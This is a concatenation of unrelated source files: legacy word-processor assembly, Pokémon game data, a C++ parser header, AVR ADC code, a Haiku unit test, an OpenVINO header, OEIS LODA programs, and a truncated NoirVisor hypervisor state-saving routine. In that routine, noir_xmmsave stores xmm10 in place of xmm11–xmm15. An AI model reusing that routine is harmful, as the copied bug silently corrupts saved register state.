cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
XDFSPP10:
endif ;/* DEBUG */
cbw
add bx,cx
mov cx,[bx]
jcxz XDFSPP11
push [fPlan]
push [pxbc]
add dx,di
push dx
push si
push ax
cCall XDelReferencedText,<>
XDFSPP11:
ret
; Assert(caT.cpLim <= CpMac2Doc(caT.doc));
ifdef DEBUG
XDFSPP12:
push ax
push bx
push cx
push dx
cCall CpMac2Doc,<[caT.docCa]>
sub ax,[caT.LO_cpLimCa]
sbb dx,[caT.HI_cpLimCa]
jge XDFSPP13
mov ax,midEditn2
mov bx,1040
cCall AssertProcForNative,<ax,bx>
XDFSPP13:
pop dx
pop cx
pop bx
pop ax
ret
endif ;/* DEBUG */
; if (DcpCa(pca) != 0)
;/* delete structures for text being deleted */
; XDeleteStruct(fPlan, pxbc, pxsr);
;/* X D E L E T E S T R U C T */
;/* Delete structures from the deletion range */
;/* %%Function:XDeleteStruct %%owner:peterj %%reviewed: 6/28/89 */
;XDeleteStruct(fPlan, pxbc, pxsr)
;BOOL fPlan;
;struct XBC *pxbc;
;struct XSR *pxsr;
;{
; struct CA *pca = pxsr->pcaDel;
;
;/* check for deleting para and sect boundaries; delete entries from parallel
;structures */
; if (!fPlan && !vfNoInval)
; InvalParaSect(pca, pca, fTrue);
; if (FFieldsInPca(pca))
; XDeleteFields(fPlan, pxbc, &pxsr->xslDelete, pca);
;
; if (!PdodDoc(pca->doc)->fShort)
; if (PdodDoc(pca->doc)->hsttbBkmk != hNil)
; XDeleteBkmks(fPlan, pxbc, pca, fFalse);
; XDelFndSedPgdPad(fPlan, pxbc, pxsr);
;}
PUBLIC LN_XDeleteStruct
LN_XDeleteStruct:
;Assumes bx = pxbc, cx = fPlan, si = pca, di = pxsr
;ax, bx, cx, dx are altered.
; if (dcpDel != cp0)
; {
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
mov si,[di.pcaDelXsr]
call LN_DcpCa
or ax,dx
je XDS05
; if (!fPlan && !vfNoInval)
; /* check for deleting para and sect boundaries; delete entries
; from parallel structures */
; InvalParaSect(pcaDel, pcaDel, fTrue);
push cx ;save fPlan
or cx,[vfNoInval]
jne XDS01
errnz <fTrue - 1>
inc cx
push bx ;save pxbc
cCall InvalParaSect,<si, si, cx>
pop bx ;restore pxbc
XDS01:
pop cx ;restore fPlan
; if (FFieldsInPca(pcaDel))
; {
;LN_FFieldsInPca assumes pca passed in si and performs
;FFieldsInPca(pca). ax, bx, cx, dx are altered.
;The sign bit set reflects a true result
push bx ;save pxbc
push cx ;save fPlan
call LN_FFieldsInPca
pop cx ;restore fPlan
pop bx ;restore pxbc
jns XDS03
; if (!fPlan)
; (*hdodDest)->fFldNestedValid = fFalse;
or cx,cx
jne XDS02
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
push bx ;save pxbc
call LN_PdodDocCa
and [bx.fFldNestedValidDod],NOT maskFFldNestedValidDod
pop bx ;restore pxbc
XDS02:
; XDeleteFields(fPlan, pxbc, &pxsr->xslDelete, pcaDel);
lea ax,[di.xslDeleteXsr]
push bx ;save pxbc
push cx ;save fPlan
cCall XDeleteFields,<cx, bx, ax, si>
pop cx ;restore fPlan
pop bx ;restore pxbc
; }
XDS03:
; if (!(*hdodDest)->fShort)
; if ((*hdodDest)->hsttbBkmk != hNil)
; XDeleteBkmks(fPlan, pxbc, pcaDel, fFalse);
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
push bx ;save pxbc
call LN_PdodDocCa
xor ax,ax
errnz <fFalse>
cmp [bx.fShortDod],al
jne XDS035 ;do this extra conditional jmp to avoid GP faults
mov dx,[bx.hsttbBkmkDod]
XDS035:
pop bx ;restore pxbc
jne XDS04
errnz <hNil>
or dx,dx
je XDS04
errnz <fFalse>
push bx ;save pxbc
push cx ;save fPlan
cCall XDeleteBkmks,<cx, bx, si, ax>
pop cx ;restore fPlan
pop bx ;restore pxbc
XDS04:
; XDelFndSedPgdPad(fPlan, pxbc, pxsr);
push cx
push bx
push di
ifdef DEBUG
cCall S_XDelFndSedPgdPad,<>
else ;!DEBUG
call LN_XDelFndSedPgdPad
endif ;!DEBUG
; }
XDS05:
ret
;LN_FlushRulerSprms performs
;if (vrulss.caRulerSprm.doc != docNil)
; FlushRulerSprms();
;ax, bx, cx, dx are altered.
LN_FlushRulerSprms:
cmp [vrulss.caRulerSprmRulss.docCa],docNil
je FRS01
cCall FlushRulerSprms,<>
FRS01:
ret
;/* F F I E L D S I N P C A */
;/* return fTrue if there are any field characters in pca */
;BOOL FFieldsInPca(pca)
;struct CA *pca;
;{
; struct PLC **hplcfld = PdodDoc(pca->doc)->hplcfld;
;
; return (hplcfld != hNil &&
; IInPlcRef(hplcfld, pca->cpFirst) <=
; IInPlcCheck(hplcfld, CpMax(0,pca->cpLim-1)));
;}
;LN_FFieldsInPca assumes pca passed in si and performs
;FFieldsInPca(pca). ax, bx, cx, dx are altered.
;The sign bit set reflects a true result
; %%Function:LN_FFieldsInPca %%Owner:BRADV
PUBLIC LN_FFieldsInPca
LN_FFieldsInPca:
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
call LN_PdodDocCa
mov cx,[bx.hplcfldDod]
or cx,cx
je LN_FFIP02
push di ;save caller's di
mov ax,[si.LO_cpLimCa]
mov dx,[si.HI_cpLimCa]
sub ax,1
sbb dx,0
jge LN_FFIP01
xor ax,ax
cwd
LN_FFIP01:
push cx ;argument for IInPlcCheck
push dx ;argument for IInPlcCheck
push ax ;argument for IInPlcCheck
cCall IInPlcRef,<cx, [si.HI_cpFirstCa], [si.LO_cpFirstCa]>
xchg ax,di
cCall IInPlcCheck,<>
sub di,ax
dec di
pop di ;restore caller's di
LN_FFIP02:
ret
;LN_PdodDocCa assumes pca passed in si and performs
;PdodDoc(pca->doc). Only bx is altered.
; %%Function:LN_PdodDocCa %%Owner:BRADV
PUBLIC LN_PdodDocCa
LN_PdodDocCa:
mov bx,[si.docCa]
;LN_PdodDocEdit assumes doc passed in bx and performs
;PdodDoc(doc). Only bx is altered.
; %%Function:LN_PdodDocEdit %%Owner:BRADV
PUBLIC LN_PdodDocEdit
LN_PdodDocEdit:
shl bx,1
mov bx,[bx.mpdochdod]
ifdef DEBUG
cmp bx,hNil
jne LN_PDC01
push ax
push bx
push cx
push dx
mov ax,midEditn2
mov bx,1039
cCall AssertProcForNative,<ax,bx>
pop dx
pop cx
pop bx
pop ax
LN_PDC01:
endif ;/* DEBUG */
mov bx,[bx]
ret
;LN_DcpCa assumes pca passed in si and returns DcpCa in dx:ax.
;Only ax and dx are altered.
LN_DcpCa:
;***Begin in line DcpCa
;return (pca->cpLim - pca->cpFirst);
mov ax,[si.LO_cpLimCa]
mov dx,[si.HI_cpLimCa]
sub ax,[si.LO_cpFirstCa]
sbb dx,[si.HI_cpFirstCa]
;***End in line DcpCa
ret
ifdef DEBUG
PUBLIC LN_FreezeHpEdit
LN_FreezeHpEdit:
;#define FreezeHp() (cHpFreeze++?0:LockHeap(sbDds))
cmp [cHpFreeze],0
jne LN_FH01
push ax
push bx
push cx
push dx
mov ax,sbDds
cCall LockHeap,<ax>
pop dx
pop cx
pop bx
pop ax
LN_FH01:
inc [cHpFreeze]
ret
endif ;DEBUG
ifdef DEBUG
; %%Function:LN_MeltHpEdit %%Owner:BRADV
PUBLIC LN_MeltHpEdit
LN_MeltHpEdit:
;#define MeltHp() (--cHpFreeze?0:UnlockHeap(sbDds))
dec [cHpFreeze]
jne LN_MH01
push ax
push bx
push cx
push dx
mov ax,sbDds
cCall UnlockHeap,<ax>
pop dx
pop cx
pop bx
pop ax
LN_MH01:
ret
endif ;DEBUG
sEnd edit2
end
|
db DEX_DODRIO ; pokedex id
db 60, 110, 70, 100, 60
; hp atk def spd spc
db GROUND, FLYING ; type
db 45 ; catch rate
db 158 ; base exp
INCBIN "gfx/pokemon/front/dodrio.pic", 0, 1 ; sprite dimensions
dw DodrioPicFront, DodrioPicBack
db PECK, SAND_ATTACK, FURY_ATTACK, NO_MOVE ; level 1 learnset
db GROWTH_MEDIUM_FAST ; growth rate
; tm/hm learnset
tmhm WHIRLWIND, TOXIC, BODY_SLAM, TAKE_DOWN, DOUBLE_EDGE, \
HYPER_BEAM, RAGE, MIMIC, DOUBLE_TEAM, REFLECT, \
BIDE, SKULL_BASH, SKY_ATTACK, REST, TRI_ATTACK, \
SUBSTITUTE, DIG
; end
db 0 ; padding
|
// Copyright (c) 2015 Andrew Sutton
// All rights reserved
#ifndef BEAKER_PARSER_HPP
#define BEAKER_PARSER_HPP
#include "prelude.hpp"
#include "token.hpp"
#include "specifier.hpp"
#include "decl.hpp"
class Input_buffer;
// The parser performs syntactic analysis, transforming
// a token stream into an AST.
class Parser
{
public:
Parser(Symbol_table&, Token_stream&);
Parser(Symbol_table&, Token_stream&, Location_map&);
// Expression parsers
Expr* primary_expr();
Expr* call_expr();
Expr* postfix_expr();
Expr* unary_expr();
Expr* multiplicative_expr();
Expr* additive_expr();
Expr* ordering_expr();
Expr* equality_expr();
Expr* logical_and_expr();
Expr* logical_or_expr();
Expr* expr();
// Type parsers
Type const* primary_type();
Type const* postfix_type();
Type const* type();
// Declaration parsers
Decl* decl();
Decl* variable_decl(Specifier);
Decl* function_decl(Specifier);
Decl* parameter_decl();
Decl* record_decl(Specifier);
Decl* field_decl(Specifier);
Decl* method_decl(Specifier);
Specifier specifier_seq();
// Statement parsers
Stmt* stmt();
Stmt* empty_stmt();
Stmt* block_stmt();
Stmt* return_stmt();
Stmt* if_stmt();
Stmt* while_stmt();
Stmt* break_stmt();
Stmt* continue_stmt();
Stmt* declaration_stmt();
Stmt* expression_stmt();
// Top-level.
Decl* module(Module_decl*);
// Parse state
bool ok() const { return errs_ == 0; }
explicit operator bool() const { return ok(); }
private:
// Actions
Type const* on_id_type(Token);
Type const* on_reference_type(Type const*);
Type const* on_array_type(Type const*, Expr*);
Type const* on_block_type(Type const*);
Type const* on_function_type(Type_seq const&, Type const*);
Expr* on_id(Token);
Expr* on_bool(Token);
Expr* on_int(Token);
Expr* on_char(Token);
Expr* on_str(Token);
Expr* on_add(Expr*, Expr*);
Expr* on_sub(Expr*, Expr*);
Expr* on_mul(Expr*, Expr*);
Expr* on_div(Expr*, Expr*);
Expr* on_rem(Expr*, Expr*);
Expr* on_neg(Expr*);
Expr* on_pos(Expr*);
Expr* on_eq(Expr*, Expr*);
Expr* on_ne(Expr*, Expr*);
Expr* on_lt(Expr*, Expr*);
Expr* on_gt(Expr*, Expr*);
Expr* on_le(Expr*, Expr*);
Expr* on_ge(Expr*, Expr*);
Expr* on_and(Expr*, Expr*);
Expr* on_or(Expr*, Expr*);
Expr* on_not(Expr*);
Expr* on_call(Expr*, Expr_seq const&);
Expr* on_index(Expr*, Expr*);
Expr* on_dot(Expr*, Expr*);
Decl* on_variable(Specifier, Token, Type const*);
Decl* on_variable(Specifier, Token, Type const*, Expr*);
Decl* on_parameter(Specifier, Type const*);
Decl* on_parameter(Specifier, Token, Type const*);
Decl* on_function(Specifier, Token, Decl_seq const&, Type const*);
Decl* on_function(Specifier, Token, Decl_seq const&, Type const*, Stmt*);
Decl* on_record(Specifier, Token, Decl_seq const&, Decl_seq const&, Type const*);
Decl* on_field(Specifier, Token, Type const*);
Decl* on_method(Specifier, Token, Decl_seq const&, Type const*, Stmt*);
Decl* on_module(Module_decl*, Decl_seq const&);
// FIXME: Remove _stmt from handlers.
Stmt* on_empty();
Stmt* on_block(Stmt_seq const&);
Stmt* on_assign(Expr*, Expr*);
Stmt* on_return(Expr*);
Stmt* on_if_then(Expr*, Stmt*);
Stmt* on_if_else(Expr*, Stmt*, Stmt*);
Stmt* on_while(Expr*, Stmt*);
Stmt* on_break();
Stmt* on_continue();
Stmt* on_expression(Expr*);
Stmt* on_declaration(Decl*);
// Parsing support
Token_kind lookahead() const;
Token_kind lookahead(int) const;
Token match(Token_kind);
Token match_if(Token_kind);
Token require(Token_kind);
Token accept();
void consume_until(Token_kind);
void consume_thru(Token_kind);
// Error handling. These functions throw
// exceptions. They never return.
[[noreturn]] void error(char const*);
[[noreturn]] void error(String const&);
// Location management
void locate(void*, Location);
template<typename T, typename... Args>
T* init(Location, Args&&...);
private:
Symbol_table& syms_;
Token_stream& ts_;
Location_map* locs_;
Specifier spec_; // Current specifeirs
int errs_; // Error count
// Parse flags
Token_kind term_; // Statement termination token.
};
inline
Parser::Parser(Symbol_table& s, Token_stream& t)
: syms_(s), ts_(t), locs_(nullptr), errs_(0), term_()
{ }
inline
Parser::Parser(Symbol_table& s, Token_stream& t, Location_map& l)
: syms_(s), ts_(t), locs_(&l), errs_(0), term_()
{ }
// Returns the first token of lookahead.
inline Token_kind
Parser::lookahead() const
{
return Token_kind(ts_.peek().kind());
}
// Returns the nth token of lookahead.
inline Token_kind
Parser::lookahead(int n) const
{
return Token_kind(ts_.peek(n).kind());
}
// Save the location of the declaratio.
inline void
Parser::locate(void* p, Location l)
{
locs_->emplace(p, l);
}
// A helper function to create nodes and record their
// source location.
//
// TODO: Put this in the .cpp file? It is private.
template<typename T, typename... Args>
inline T*
Parser::init(Location loc, Args&&... args)
{
T* t = new T(std::forward<Args>(args)...);
locs_->emplace(t, loc);
return t;
}
#endif
|
/*
* ADC Utilities
*
* org: 10/21/2014
* auth: Nels "Chip" Pearson
*
* Target: LCD_CDM-116100 Demo Board, 8MHz, ATmega328P
*
* Usage:
* .include adc_util_triggered.asm
*
* These functions are for triggered ADC sampling.
*
* Resources;
* adc_buff 4 bytes
*
* NOTE: PORTA also supports IR power control.
*/
.DSEG
adc_H: .BYTE 1 ; store 10 bits as 7:0..unsigned 10 bits
adc_L: .BYTE 1 ; store 10 bits as 7:6
.CSEG
/*
* Initialize Hardware for ADC use
* input reg: none
* output reg: none
*
* 20MHz CPU clock.
* Single Ended
* Available channels 0,1,2,3
* ATmega164P has Internal 2.56v reference.
*
* resources:
*/
adc_init_hdwr:
ldi R16, (1<<REFS1)|(1<<REFS0)|(1<<ADLAR) ; Internal Vref=2.56v, Left Adj
sts ADMUX, R16 ; lower 3 bits select channel.
;
ldi R16, (1<<ADEN)|(1<<ADPS2)|(1<<ADPS1)|(1<<ADPS0) ; ADC Enable, CPU/128 clock (20MHz)
sts ADCSRA, R16
;
ret
/*
* Get ADC Data
*
* input: none
*
* output: R17 - b7:0 MSBs
* R18 - b7:6 LSBs
*
*/
adc_get_data:
lds R17, adc_H
lds R18, adc_L
;
agd_exit:
ret
/* *** ADC Support *** */
/*
* Trigger ADC channel
*
* input: R17 - ADC channel 0-3
*
* output: adc_HL Range data
*
* NOTE: MUST read ADCL first then ADCH.
*/
adc_trigger:
lds r16, ADMUX ; get flags
andi r16, 0xF8 ; zero channel select
or r16, r17 ; set channel
sts ADMUX, R16 ; lower 3 bits select channel.
; Trigger
lds r16, ADCSRA
ori r16, (1<<ADSC)
sts ADCSRA, r16
; Wait ~125us
at_loop00:
lds r16, ADCSRA
andi r16, (1<<ADSC)
brne at_loop00
; Get Data
lds r18, ADCL ; get 2 LSBs .. d7:6
lds r17, ADCH ; get 8 MSBs .. d7:0..releases ADC data reg.
sts adc_L, r18
sts adc_H, r17
;
ret
|
//------------------------------------------------------------------------------
// UnlockLooperTest.cpp
//
//------------------------------------------------------------------------------
// Standard Includes -----------------------------------------------------------
// System Includes -------------------------------------------------------------
#include <Looper.h>
// Project Includes ------------------------------------------------------------
// Local Includes --------------------------------------------------------------
#include "UnlockLooperTest.h"
// Local Defines ---------------------------------------------------------------
// Globals ---------------------------------------------------------------------
//------------------------------------------------------------------------------
/**
UnlockLooper()
@case handler has no looper
@results NONE
@note Original implementation apparently doesn't check to see if a
looper actually exists before trying to call Unlock() on it.
Disabled for TEST_R5.
*/
void TUnlockLooperTest::UnlockLooper1()
{
#if !defined(TEST_R5)
BHandler Handler;
Handler.UnlockLooper();
#endif
}
//------------------------------------------------------------------------------
/**
UnlockLooper()
@case handler has a looper which is initially unlocked
@results debug message "looper must be locked before proceeding" from
BLooper::AssertLock()
*/
void TUnlockLooperTest::UnlockLooper2()
{
DEBUGGER_ESCAPE;
BLooper Looper;
BHandler Handler;
Looper.AddHandler(&Handler);
if (Looper.IsLocked())
{
// Make sure the looper is unlocked
Looper.Unlock();
}
Handler.UnlockLooper();
}
//------------------------------------------------------------------------------
/**
UnlockLooper()
@case handler has a looper which is initially locked
@results NONE
*/
void TUnlockLooperTest::UnlockLooper3()
{
BLooper Looper;
BHandler Handler;
Looper.AddHandler(&Handler);
if (!Looper.IsLocked())
{
Looper.Lock();
}
Handler.UnlockLooper();
}
//------------------------------------------------------------------------------
Test* TUnlockLooperTest::Suite()
{
TestSuite* SuiteOfTests = new TestSuite("BHandler::UnlockLooper");
ADD_TEST4(BHandler, SuiteOfTests, TUnlockLooperTest, UnlockLooper1);
ADD_TEST4(BHandler, SuiteOfTests, TUnlockLooperTest, UnlockLooper2);
ADD_TEST4(BHandler, SuiteOfTests, TUnlockLooperTest, UnlockLooper3);
return SuiteOfTests;
}
//------------------------------------------------------------------------------
/*
* $Log $
*
* $Id $
*
*/
|
// Copyright (C) 2018-2021 Intel Corporation
// SPDX-License-Identifier: Apache-2.0
//
#pragma once
#include "ngraph/op/op.hpp"
namespace ngraph {
namespace op {
namespace v5 {
/// \brief GatherND operation
///
class NGRAPH_API GatherND : public Op {
public:
NGRAPH_RTTI_DECLARATION;
GatherND() = default;
/// \brief Constructs a GatherND operation.
///
/// \param data Node producing data that are gathered
/// \param indices Node producing indices by which the operation gathers elements
/// or slices from data
/// \param batch_dims Specifies a number of batch dimensions
GatherND(const Output<Node>& data, const Output<Node>& indices, const size_t batch_dims = 0);
void validate_and_infer_types() override;
bool visit_attributes(AttributeVisitor& visitor) override;
virtual std::shared_ptr<Node> clone_with_new_inputs(const OutputVector& new_args) const override;
size_t get_batch_dims() const {
return m_batch_dims;
}
private:
size_t m_batch_dims;
};
} // namespace v5
} // namespace op
} // namespace ngraph
|
; A123554: Triangle read by rows: T(n,k) = number of labeled loopless digraphs with n nodes and k arcs (n >= 1, 0 <= k <= n*(n-1)).
; 1,1,2,1,1,6,15,20,15,6,1,1,12,66,220,495,792,924,792,495,220,66,12,1,1,20,190,1140,4845,15504,38760,77520,125970,167960,184756,167960,125970,77520,38760,15504,4845,1140,190,20,1,1,30,435,4060,27405,142506,593775,2035800,5852925,14307150,30045015,54627300,86493225,119759850,145422675,155117520,145422675,119759850,86493225,54627300,30045015,14307150,5852925,2035800,593775,142506,27405,4060,435,30,1,1,42,861,11480,111930,850668,5245786,26978328,118030185,445891810,1471442973,4280561376,11058116888,25518731280,52860229080,98672427616,166509721602,254661927156,353697121050,446775310800,513791607420,538257874440,513791607420,446775310800
lpb $0
sub $0,1
sub $0,$1
add $2,2
add $1,$2
lpe
bin $1,$0
mov $0,$1
|
; A133285: Indices of the centered 12-gonal numbers which are also 12-gonal number, or numbers X such that 120*X^2-120*X+36 is a square.
; Submitted by Jon Maiga
; 1,12,253,5544,121705,2671956,58661317,1287877008,28274632849,620754045660,13628314371661,299202162130872,6568819252507513,144214821393034404,3166157251394249365,69511244709280451616,1526081226352775686177,33504275735051784644268,735567984944786486487709,16148991393050250918085320,354542242662160733711389321,7783780347174485890732479732,170888625395176528862403164773,3751765978346709149082137145264,82367962898232424750944614031025,1808343417782766635371699371537276
lpb $0
mov $2,$0
sub $0,1
seq $2,77422 ; Chebyshev sequence T(n,11) with Diophantine property.
add $1,$2
lpe
mov $0,$1
add $0,1
|
; A326136: a(n) = sigma(n) - sigma(A028234(n)), where sigma is the sum of divisors of n, and A028234 gives n without any occurrence of its smallest prime factor.
; Submitted by Jamie Morken(w2)
; 0,2,3,6,5,8,7,14,12,12,11,24,13,16,18,30,17,26,19,36,24,24,23,56,30,28,39,48,29,48,31,62,36,36,40,78,37,40,42,84,41,64,43,72,72,48,47,120,56,62,54,84,53,80,60,112,60,60,59,144,61,64,96,126,70,96,67,108,72,96,71,182,73,76,93,120,84,112,79,180,120,84,83,192,90,88,90,168,89,156,98,144,96,96,100,248,97,114,144,186
add $0,1
mov $1,1
lpb $0
mov $3,$0
add $8,$1
lpb $3
mov $1,$8
mov $4,$0
mov $6,$2
cmp $6,0
add $2,$6
mod $4,$2
cmp $4,0
cmp $4,0
mov $5,$2
add $2,1
cmp $5,1
max $4,$5
sub $3,$4
lpe
mov $5,1
lpb $0
dif $0,$2
mul $0,$5
mul $5,$2
mov $8,$7
lpe
mul $1,$5
add $7,$1
lpe
mov $0,$7
|
; NoirVisor - Hardware-Accelerated Hypervisor solution
;
; Copyright 2018-2022, Zero Tang. All rights reserved.
;
; This file saves processor states.
;
; This program is distributed in the hope that it will be successful, but
; without any warranty (no matter implied warranty of merchantability or
; fitness for a particular purpose, etc.).
;
; File location: ./xpf_core/windows/kpcr.asm
ifdef _ia32
.686p
.model flat,stdcall
endif
.code
ifdef _amd64
noir_xsave proc
xsave [rcx]
ret
noir_xsave endp
noir_xrestore proc
xrstor [rcx]
ret
noir_xrestore endp
noir_xmmsave proc
movaps xmmword ptr [rcx],xmm0
movaps xmmword ptr [rcx+10h],xmm1
movaps xmmword ptr [rcx+20h],xmm2
movaps xmmword ptr [rcx+30h],xmm3
movaps xmmword ptr [rcx+40h],xmm4
movaps xmmword ptr [rcx+50h],xmm5
movaps xmmword ptr [rcx+60h],xmm6
movaps xmmword ptr [rcx+70h],xmm7
movaps xmmword ptr [rcx+80h],xmm8
movaps xmmword ptr [rcx+90h],xmm9
movaps xmmword ptr [rcx+0A0h],xmm10
movaps xmmword ptr [rcx+0B0h],xmm10
movaps xmmword ptr [rcx+0C0h],xmm10
movaps xmmword ptr [rcx+0D0h],xmm10
movaps xmmword ptr [rcx+0E0h],xmm10
movaps xmmword ptr [rcx+0F0h],xmm10
ret
noir_xmmsave endp
noir_xmmrestore proc
movaps xmm0,xmmword ptr[rcx]
movaps xmm1,xmmword ptr[rcx+10h]
movaps xmm2,xmmword ptr[rcx+20h]
movaps xmm3,xmmword ptr[rcx+30h]
movaps xmm4,xmmword ptr[rcx+40h]
movaps xmm5,xmmword ptr[rcx+50h]
movaps xmm6,xmmword ptr[rcx+60h]
movaps xmm7,xmmword ptr[rcx+70h]
movaps xmm8,xmmword ptr[rcx+80h]
movaps xmm9,xmmword ptr[rcx+90h]
movaps xmm10,xmmword ptr[rcx+0A0h]
movaps xmm11,xmmword ptr[rcx+0B0h]
movaps xmm12,xmmword ptr[rcx+0C0h]
movaps xmm13,xmmword ptr[rcx+0D0h]
movaps xmm14,xmmword ptr[rcx+0E0h]
movaps xmm15,xmmword ptr[rcx+0F0h]
ret
noir_xmmrestore endp
noir_ymmsave proc
vmovaps ymmword ptr [rcx+000h],ymm0
vmovaps ymmword ptr [rcx+020h],ymm1
vmovaps ymmword ptr [rcx+040h],ymm2
vmovaps ymmword ptr [rcx+060h],ymm3
vmovaps ymmword ptr [rcx+080h],ymm4
vmovaps ymmword ptr [rcx+0A0h],ymm5
vmovaps ymmword ptr [rcx+0C0h],ymm6
vmovaps ymmword ptr [rcx+0E0h],ymm7
vmovaps ymmword ptr [rcx+100h],ymm8
vmovaps ymmword ptr [rcx+120h],ymm9
vmovaps ymmword ptr [rcx+140h],ymm10
vmovaps ymmword ptr [rcx+160h],ymm11
vmovaps ymmword ptr [rcx+180h],ymm12
vmovaps ymmword ptr [rcx+1A0h],ymm13
vmovaps ymmword ptr [rcx+1C0h],ymm14
vmovaps ymmword ptr [rcx+1E0h],ymm15
ret
noir_ymmsave endp
noir_ymmrestore proc
vmovaps ymm0,ymmword ptr[rcx]
vmovaps ymm1,ymmword ptr[rcx+020h]
vmovaps ymm2,ymmword ptr[rcx+040h]
vmovaps ymm3,ymmword ptr[rcx+060h]
vmovaps ymm4,ymmword ptr[rcx+080h]
vmovaps ymm5,ymmword ptr[rcx+0A0h]
vmovaps ymm6,ymmword ptr[rcx+0C0h]
vmovaps ymm7,ymmword ptr[rcx+0E0h]
vmovaps ymm8,ymmword ptr[rcx+100h]
vmovaps ymm9,ymmword ptr[rcx+120h]
vmovaps ymm10,ymmword ptr[rcx+140h]
vmovaps ymm11,ymmword ptr[rcx+160h]
vmovaps ymm12,ymmword ptr[rcx+180h]
vmovaps ymm13,ymmword ptr[rcx+1A0h]
vmovaps ymm14,ymmword ptr[rcx+1C0h]
vmovaps ymm15,ymmword ptr[rcx+1E0h]
ret
noir_ymmrestore endp
noir_ffxsave proc
fxsave [rcx]
ret
noir_ffxsave endp
noir_ffxrestore proc
fxrstor [rcx]
ret
noir_ffxrestore endp
noir_fxsave proc
fxsave [rcx]
; Determine if FFXSR is enabled.
cmp qword ptr[rcx+464],0
jz non_ffxs
; FFXSR is enabled. Save XMMs manually.
add rcx,160
call noir_xmmsave
non_ffxs:
ret
noir_fxsave endp
noir_fxrestore proc
fxrstor [rcx]
; Determine if FFXSR is enabled.
cmp qword ptr[rcx+464],0
jz non_ffxr
; FFXSR is enabled. Restore XMMs manually.
add rcx,160
call noir_xmmrestore
non_ffxr:
ret
noir_fxrestore endp
ifdef _llvm
__inbyte proc
mov dx,cx
in al,dx
ret
__inbyte endp
__outbyte proc
mov al,dl
mov dx,cx
out dx,al
ret
__outbyte endp
endif
noir_lgdt proc
lgdt fword ptr [rcx]
ret
noir_lgdt endp
noir_lldt proc
lldt cx
ret
noir_lldt endp
noir_ltr proc
ltr cx
ret
noir_ltr endp
noir_sgdt proc
sgdt fword ptr [rcx]
ret
noir_sgdt endp
noir_sldt proc
sldt word ptr [rcx]
ret
noir_sldt endp
noir_str proc
str word ptr [rcx]
ret
noir_str endp
noir_get_segment_attributes proc
and rdx,0fff8h
add rcx,rdx
mov ax,word ptr[rcx+5]
and ax,0f0ffh
ret
noir_get_segment_attributes endp
noir_save_processor_state proc
; Function start. Initialize shadow space on stack.
sub rsp,20h
push rbx
mov rbx,rcx
; Initialize the Structure with zero.
push rdi
cld
mov rdi,rcx
mov rcx,2ch
xor rax,rax
rep stosq
pop rdi
; Save cs,ds,es,fs,gs,ss Selectors
mov word ptr[rbx],cs
mov word ptr[rbx+10h],ds
mov word ptr[rbx+20h],es
mov word ptr[rbx+30h],fs
mov word ptr[rbx+40h],gs
mov word ptr[rbx+50h],ss
; Save cs,ds,es,fs,gs,ss Limits
lsl eax,word ptr[rbx]
mov dword ptr[rbx+04h],eax
lsl eax,word ptr[rbx+10h]
mov dword ptr[rbx+14h],eax
lsl eax,word ptr[rbx+20h]
mov dword ptr[rbx+24h],eax
lsl eax,word ptr[rbx+30h]
mov dword ptr[rbx+34h],eax
lsl eax,word ptr[rbx+40h]
mov dword ptr[rbx+44h],eax
lsl eax,word ptr[rbx+50h]
mov dword ptr[rbx+54h],eax
; Save Task Register State
str word ptr[rbx+60h]
lsl eax,word ptr[rbx+60h]
mov dword ptr[rbx+64h],eax
mov rax,qword ptr gs:[8h]
mov qword ptr[rbx+68h],rax
; Save Global Descriptor Table Register
sgdt fword ptr[rbx+76h]
shr dword ptr[rbx+74h],16
; Save Interrupt Descriptor Table Register
sidt fword ptr[rbx+86h]
shr dword ptr[rbx+84h],16
; Save Segment Attributes - CS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx]
call noir_get_segment_attributes
mov word ptr[rbx+2h],ax
; Save Segment Attributes - DS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+10h]
call noir_get_segment_attributes
mov word ptr[rbx+12h],ax
; Save Segment Attributes - ES
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+20h]
call noir_get_segment_attributes
mov word ptr[rbx+22h],ax
; Save Segment Attributes - FS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+30h]
call noir_get_segment_attributes
mov word ptr[rbx+32h],ax
; Save Segment Attributes - GS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+40h]
call noir_get_segment_attributes
mov word ptr[rbx+42h],ax
; Save Segment Attributes - SS
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+50h]
call noir_get_segment_attributes
mov word ptr[rbx+52h],ax
; Save Segment Attributes - TR
mov rcx,qword ptr[rbx+78h]
mov dx,word ptr[rbx+60h]
call noir_get_segment_attributes
mov word ptr[rbx+62h],ax
; Save LDT Register Selector
sldt word ptr[rbx+90h]
; Save Control Registers
mov rax,cr0
mov qword ptr[rbx+0a0h],rax
mov rax,cr2
mov qword ptr[rbx+0a8h],rax
mov rax,cr3
mov qword ptr[rbx+0b0h],rax
mov rax,cr4
mov qword ptr[rbx+0b8h],rax
mov rax,cr8
mov qword ptr[rbx+0c0h],rax
; Save Debug Registers
mov rax,dr0
mov qword ptr[rbx+0c8h],rax
mov rax,dr1
mov qword ptr[rbx+0d0h],rax
mov rax,dr2
mov qword ptr[rbx+0d8h],rax
mov rax,dr3
mov qword ptr[rbx+0e0h],rax
mov rax,dr6
mov qword ptr[rbx+0e8h],rax
mov rax,dr7
mov qword ptr[rbx+0f0h],rax
; Save Model Specific Registers
; Save SysEnter_CS
mov ecx,174h
rdmsr
mov dword ptr[rbx+0f8h],eax
mov dword ptr[rbx+0fch],edx
; Save SysEnter_ESP
inc ecx
rdmsr
mov dword ptr[rbx+100h],eax
mov dword ptr[rbx+104h],edx
; Save SysEnter_EIP
inc ecx
rdmsr
mov dword ptr[rbx+108h],eax
mov dword ptr[rbx+10ch],edx
; Save Debug Control MSR
mov ecx,1d9h
rdmsr
mov dword ptr[rbx+110h],eax
mov dword ptr[rbx+114h],edx
; Save PAT
mov ecx,277h
rdmsr
mov dword ptr[rbx+118h],eax
mov dword ptr[rbx+11ch],edx
; Save EFER
